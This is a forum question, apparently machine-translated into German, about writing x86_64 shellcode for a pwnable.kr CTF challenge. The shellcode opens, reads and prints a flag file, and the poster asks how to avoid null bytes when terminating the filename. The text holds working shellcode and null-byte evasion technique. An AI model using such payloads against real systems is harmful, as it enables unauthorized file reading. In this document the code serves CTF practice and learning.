Ich versuche eine CTF - Aufgabe von pwnable.kr (Kleinkinder Flasche, Asm) zu lösen, in dem ich einen "Shellcode" schreiben muss, der Inhalt der Datei öffnen und lesen wird Flagge).Umgang mit Strings in Shellcode
Mein Code ist wie folgt:
global _start
section .text
_start:
jmp mesg
shellcode:
; open
pop rdi ; rdi points to file_name and trash
xor rsi, rsi
mov al, 2 ; sys_open
syscall
; read
mov rdi, rax
xor rax, rax ; sys_read
lea rsi, [rsp]
mov dl, 0x20
syscall
; write
mov dl, al ; bytes read
xor rax, rax
mov al, 1 ; sys_write
mov dil, 1 ; stdout
lea rsi, [rsp]
syscall
; crash
xor ebx, ebx
xor eax, eax
div ebx
mesg:
call shellcode
db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00
section .data
von 0 Aufteilung ist es die Ausführung zu stoppen und vermeiden mit call shellcode
Looping Die lange Zeichenfolge ist der Name der Datei, die die Flagge enthält.
fand ich den Trick mit hier Adresse des Strings in ein Register poping: Linux Shellcode "Hello, World!"
Mein Problem ist: der Name der Datei beendet ist nicht null. Wenn sys_open aufgerufen wird, enthält daher der Dateiname den Abfall nach der tatsächlichen Zeichenfolge.
Ich habe versucht zu tun someting wie:
xor al, al
mov byte [rdi + 464], al
nach in rdi popping manuell NULL einzufügen, aber ich kann nicht von NULL von Bytecode (der Shellcode wird von stdin gelesen werden loszuwerden, so dass ein Problem).
Was ist der beste Weg, damit umzugehen?
Architektur: x86_64